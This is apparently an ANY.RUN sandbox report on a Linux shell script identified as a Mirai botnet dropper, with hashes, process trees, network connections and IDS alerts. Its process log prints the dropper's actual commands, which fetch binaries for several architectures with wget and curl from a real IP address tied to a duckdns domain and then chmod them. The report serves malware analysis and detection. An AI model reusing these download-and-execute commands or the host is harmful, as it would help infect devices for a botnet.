File name:

s.sh

Full analysis: https://app.any.run/tasks/38874e2b-3757-4381-b4e0-6599b73f7073
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: February 21, 2026, 06:57:49
OS: Ubuntu 22.04.2
Tags:
mirai
botnet
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

631EA35A4D5D4D6D12316571E26C12B9

SHA1:

E7A5768A15FCBF41891A89E5C35C8DCD2BA6ED69

SHA256:

9BB490AB60AC11B74E0B3D485D25C4D8C37FF65EAB29FB29F6BD7D0255FA2573

SSDEEP:

24:wlzBI8KNlaGwatuc0WZ8st4htDQIhVU8NI786uu7NC2l:2Ft3isQ0EsM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • MIRAI has been detected (SURICATA)

      • wget (PID: 1976)
      • wget (PID: 1996)
      • wget (PID: 1982)
      • wget (PID: 2003)
      • wget (PID: 2015)
      • wget (PID: 2036)
      • wget (PID: 2030)
      • x86_64 (PID: 2051)
      • wget (PID: 2022)
      • wget (PID: 2048)
      • wget (PID: 2042)

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 1970)

    • Uses wget to download content

      • bash (PID: 1974)

    • Reads passwd file

      • curl (PID: 1977)
      • curl (PID: 1998)
      • curl (PID: 2004)
      • curl (PID: 1990)
      • curl (PID: 2010)
      • curl (PID: 2016)
      • curl (PID: 2037)
      • curl (PID: 2043)
      • curl (PID: 2025)
      • curl (PID: 2031)

    • Uses curl to download content

      • bash (PID: 1974)

    • Contacting a server suspected of hosting an CnC

      • x86_64 (PID: 2051)

    • Potential Corporate Privacy Violation

      • wget (PID: 2048)

  • INFO

    • Checks timezone

      • wget (PID: 1976)
      • wget (PID: 1982)
      • wget (PID: 1996)
      • wget (PID: 2003)
      • wget (PID: 2009)
      • wget (PID: 2015)
      • wget (PID: 2042)
      • wget (PID: 2048)
      • wget (PID: 2022)
      • wget (PID: 2030)
      • wget (PID: 2036)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
196
Monitored processes
74
Malicious processes
15
Suspicious processes
0

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs #MIRAI wget curl chmod no specs bash no specs bash no specs bash no specs #MIRAI wget curl chmod no specs bash no specs bash no specs #MIRAI wget bash no specs curl chmod no specs bash no specs bash no specs #MIRAI wget bash no specs curl chmod no specs bash no specs bash no specs wget bash no specs curl chmod no specs bash no specs bash no specs #MIRAI wget bash no specs curl chmod no specs bash no specs bash no specs bash no specs #MIRAI wget curl chmod no specs bash no specs bash no specs bash no specs #MIRAI wget curl chmod no specs bash no specs bash no specs #MIRAI wget bash no specs curl chmod no specs bash no specs bash no specs bash no specs #MIRAI wget curl chmod no specs bash no specs bash no specs bash no specs #MIRAI wget chmod no specs x86_64 no specs #MIRAI x86_64 bash no specs x86_64 no specs x86_64 no specs

Process information

PID
CMD
Path
Indicators
Parent process
1969/bin/sh -c "sudo chown user /tmp/s\.sh && chmod +x /tmp/s\.sh && DISPLAY=:0 sudo -iu user /tmp/s\.sh "/usr/bin/dash—2EwNpII9hL0vkNEQ
User:
root
Integrity Level:
UNKNOWN
Exit code:
32512
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1970sudo chown user /tmp/s.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
1971chown user /tmp/s.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1972chmod +x /tmp/s.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1973sudo -iu user /tmp/s.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
32512
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
1974-bash --login -c \/tmp\/s\.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
32512
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
1975/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
1976wget http://188.214.30.5/bins/mpsl/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
2048
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
1977curl http://188.214.30.5/bins/mpsl -o mpsl/usr/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libcurl.so.4.7.0
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libnghttp2.so.14.20.1
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/librtmp.so.1
/usr/lib/x86_64-linux-gnu/libssh.so.4.8.7
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
1978chmod 777 mpsl/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
Executable files
0
Suspicious files
1
Text files
10
Unknown types
0

Dropped files

PID
Process
Filename
Type
1977curl/home/user/mpslhtml
MD5:—
SHA256:—
1990curl/home/user/arm7html
MD5:—
SHA256:—
1998curl/home/user/spchtml
MD5:—
SHA256:—
2004curl/home/user/sh4html
MD5:—
SHA256:—
2010curl/home/user/ppchtml
MD5:—
SHA256:—
2016curl/home/user/mipshtml
MD5:—
SHA256:—
2025curl/home/user/m68khtml
MD5:—
SHA256:—
2031curl/home/user/arm6html
MD5:—
SHA256:—
2037curl/home/user/arm5html
MD5:—
SHA256:—
2043curl/home/user/armhtml
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
22
TCP/UDP connections
32
DNS requests
14
Threats
32

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.49:80
http://connectivity-check.ubuntu.com/
unknown
—
—
unknown
1976
wget
GET
404
188.214.30.5:80
http://188.214.30.5/bins/mpsl
unknown
—
—
unknown
1977
curl
GET
404
188.214.30.5:80
http://188.214.30.5/bins/mpsl
unknown
—
—
unknown
1982
wget
GET
404
188.214.30.5:80
http://188.214.30.5/bins/arm7
unknown
—
—
unknown
1996
wget
GET
404
188.214.30.5:80
http://188.214.30.5/bins/spc
unknown
—
—
unknown
1990
curl
GET
404
188.214.30.5:80
http://188.214.30.5/bins/arm7
unknown
—
—
unknown
1998
curl
GET
404
188.214.30.5:80
http://188.214.30.5/bins/spc
unknown
—
—
unknown
2003
wget
GET
404
188.214.30.5:80
http://188.214.30.5/bins/sh4
unknown
—
—
unknown
2004
curl
GET
404
188.214.30.5:80
http://188.214.30.5/bins/sh4
unknown
—
—
unknown
2009
wget
GET
404
188.214.30.5:80
http://188.214.30.5/bins/ppc
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
456
avahi-daemon
224.0.0.251:5353
—
—
—
whitelisted
—
—
185.125.190.96:80
connectivity-check.ubuntu.com
CANONICAL-AS
GB
whitelisted
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
CANONICAL-AS
GB
whitelisted
—
—
37.19.194.80:443
odrs.gnome.org
CDN77 _
GB
whitelisted
—
—
185.125.188.59:443
api.snapcraft.io
CANONICAL-AS
GB
whitelisted
—
—
185.125.188.54:443
api.snapcraft.io
CANONICAL-AS
GB
whitelisted
1976
wget
188.214.30.5:80
stormstresser.duckdns.org
THCPROJECTS
RO
unknown
1977
curl
188.214.30.5:80
stormstresser.duckdns.org
THCPROJECTS
RO
unknown
1982
wget
188.214.30.5:80
stormstresser.duckdns.org
THCPROJECTS
RO
unknown
1990
curl
188.214.30.5:80
stormstresser.duckdns.org
THCPROJECTS
RO
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::96
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::22
  • 2001:67c:1562::24
  • 2620:2d:4002:1::198
  • 2620:2d:4002:1::196
  • 2001:67c:1562::23
  • 2620:2d:4000:1::2a
  • 91.189.91.49
  • 185.125.190.96
  • 185.125.190.97
  • 185.125.190.49
  • 91.189.91.98
  • 91.189.91.97
  • 185.125.190.17
  • 91.189.91.96
  • 185.125.190.48
  • 185.125.190.98
  • 91.189.91.48
  • 185.125.190.18
whitelisted
google.com
  • 142.250.186.78
  • 2a00:1450:4001:80a::200e
whitelisted
odrs.gnome.org
  • 37.19.194.80
  • 212.102.56.178
  • 79.127.211.89
  • 79.127.216.204
  • 195.181.170.19
  • 195.181.175.40
  • 2a02:6ea0:c77a::47
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c77a::48
  • 2a02:6ea0:c700::101
whitelisted
api.snapcraft.io
  • 185.125.188.59
  • 185.125.188.58
  • 185.125.188.54
  • 185.125.188.57
  • 2620:2d:4000:1010::2cc
  • 2620:2d:4000:1010::2d6
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
whitelisted
stormstresser.duckdns.org
  • 188.214.30.5
unknown
11.100.168.192.in-addr.arpa
  • —
whitelisted
ntp.ubuntu.com
  • 185.125.190.58
  • 185.125.190.57
  • 91.189.91.157
  • 185.125.190.56
  • 2620:2d:4000:1::41
  • 2620:2d:4000:1::40
  • 2620:2d:4000:1::3f
whitelisted

Threats

PID
Process
Class
Message
1982
wget
A Network Trojan was detected
BOTNET [ANY.RUN] Linux/Mirai ELF-file download via wget (arm)
1977
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
1990
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
1996
wget
A Network Trojan was detected
BOTNET [ANY.RUN] Linux/Mirai ELF-file download via wget (spc)
1976
wget
A Network Trojan was detected
BOTNET [ANY.RUN] Linux/Mirai ELF-file download via wget (mpsl)
1998
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
2004
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
2009
wget
A Network Trojan was detected
BOTNET [ANY.RUN] Linux/Mirai ELF-file download via wget (ppc)
2003
wget
A Network Trojan was detected
BOTNET [ANY.RUN] Linux/Mirai ELF-file download via wget (sh4)
2010
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
No debug info